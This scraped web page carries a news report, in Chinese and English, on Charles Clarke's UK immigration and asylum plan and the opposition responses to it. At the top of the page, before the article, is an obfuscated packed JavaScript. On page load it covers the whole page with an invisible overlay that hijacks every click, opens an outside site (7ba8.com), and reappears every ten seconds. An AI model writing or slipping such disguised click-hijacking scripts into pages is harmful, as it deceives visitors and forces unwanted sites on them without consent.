<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>英国加紧移民管制 将颁布新政策
英国内政大臣克拉克是新政的主要策划者
英国政府将在今天公布新移民政策，收紧移民管制。这个计划包括了，以计分的方式，决定谁能够具备英国所需的技能，而获准到英国就业。
官方还会加强检查犯罪团伙用来走私人口和毒品的航空路线、遣返更多申请避难失败的寻求庇护者。
预料移民问题将会是预期今年稍后举行的大选当中，主要的竞选议题。
英国内政大臣克拉克提议采用考核计分制来筛选移民申请者，确保新移民对英国经济有所贡献。
克拉克提议，实行类似于澳大利亚和加拿大等国的移民计分制，而不采用英国保守党提议的限额制。
英国主要反对党保守党说，工党政府在移民问题上的行动来的太迟了。
自民党则怀疑克拉克的新政策是否能达到预期效果。
计分制
移民问题一直是大选过程中的敏感话题。保守党副主席说，英国选民面临着是听信一个执政八年无所行动的工党政府呢，还是选择提议限额制的保守党。
保守党党魁霍华德表示，英国作为一个西方大国有义务分担接纳真难民的责任。不过，他同时指出，英国目前的"慷慨"移民政策被人利用了。
保守党提议的政策呼吁加强打击偷渡，为移民和寻求避难者设定年度限额。据报，工党执政八年来，英国的移民数字每年增长到15万，增加了三倍。
英国内政大臣克拉克还提议，在2008年之前对每一个签证入境的人留下指纹， "以便确保对每一个人的背景了如指掌。"
克拉克提议说，计分制的好处在于它能帮助政府了解移民申请人的专业技巧和能力，以便这些人能够对英国的经济发展做出贡献。
英国政府有关移民政策的五年蓝图即将发表。
IMMIGRATION AND ASYLUM PLAN
New points system for migrants wanting to work or study
Financial bonds for migrants in sectors open to abuse to guarantee they return home
End to automatic right for immigrants' families to settle
Fixed penalty fines for each illegal worker used by employers
Only skilled workers allowed to stay permanently, after English language tests
End to appeals for those wanting to work or study
Refugees only given temporary leave to stay while safety in home country reviewed
More detention of failed asylum seekers
Fingerprinting of all visa applicants
Clarke unveils immigration plan
A new points system that aims to ensure migrants wanting to work in the UK have the right skills is at the heart of the government's new immigration strategy.
Home Secretary Charles Clarke told MPs migrants were vital for the UK economy and society but it needed controls.
The plans include fines for employers using illegal workers. There are also moves to prevent asylum abuse.
The Tories say Labour is offering half steps and the Lib Dems say the plans may not produce an efficient system.
Fighting bigotry
The five-year plan comes as immigration looks increasingly likely play a contentious role in campaigning for the election - widely predicted for May.
Tony Blair told BBC News there was real public concern and it was in Britain's interests to allow in only those migrants' whose skills were really needed.
To critics who say he has taken too long to act, he said: "This requires a long, hard patient slog, not a magic bullet."
In the Commons, Mr Clarke stressed the positive effects of immigration and warned: "It is a lack of confidence in our systems of control that can foster bigotry."
He announced an end to the automatic right to settle for immigrants' families.
Existing work permit schemes would be rolled into one Australian-style system where migrants qualified for a certain number of points according to their skills.
A new labour market advisory group would recommend what skills British businesses needed.
Fingerprinting
In sectors particularly open to abuse, workers would have to pay money up front as a bond which they would only get back once they returned home.
And all visa applicants would be fingerprinted as part of tighter border controls.
The changes mean only high-skilled workers will be allowed to settle in the UK - temporary labour from inside the European Union will now fill low-skill vacancies.
On asylum, Mr Clarke proposed that genuine refugees would no longer have permanent leave to remain in the UK.
Instead, they would get permission to stay in the country for five years before it was decided whether it was safe for them to return to their countries of origin.
He also promised more detention of failed asylum seekers and agreements to return them home.
Maeve Sherlock, from the Refugees' Council, said refugees the plans risked leaving refugees "in limbo" for five years.
"It seems particularly unfair on refugees who may have lost their whole families or suffered torture or, at worst, ethnic cleansing," she said.
Concern
Conservative shadow home secretary David Davis said the system desperately needed reform from the "mess this government has created over eight years in power".
He welcomed a points system but accused the a "panic-stricken" government of promising only half measures.
Clear limits on the number of immigrants were needed because of pressure on public services , he argued.
Liberal Democrat home affairs spokesman Mark Oaten said Labour was right to reject the Tories' idea of quotas on asylum.
But he warned about the dangers of a "bidding war" on the issue between the other two major parties.
The UK Independence Party also wants a points system for economic migration but complains there are no limits on the number of EU workers coming to the UK. |
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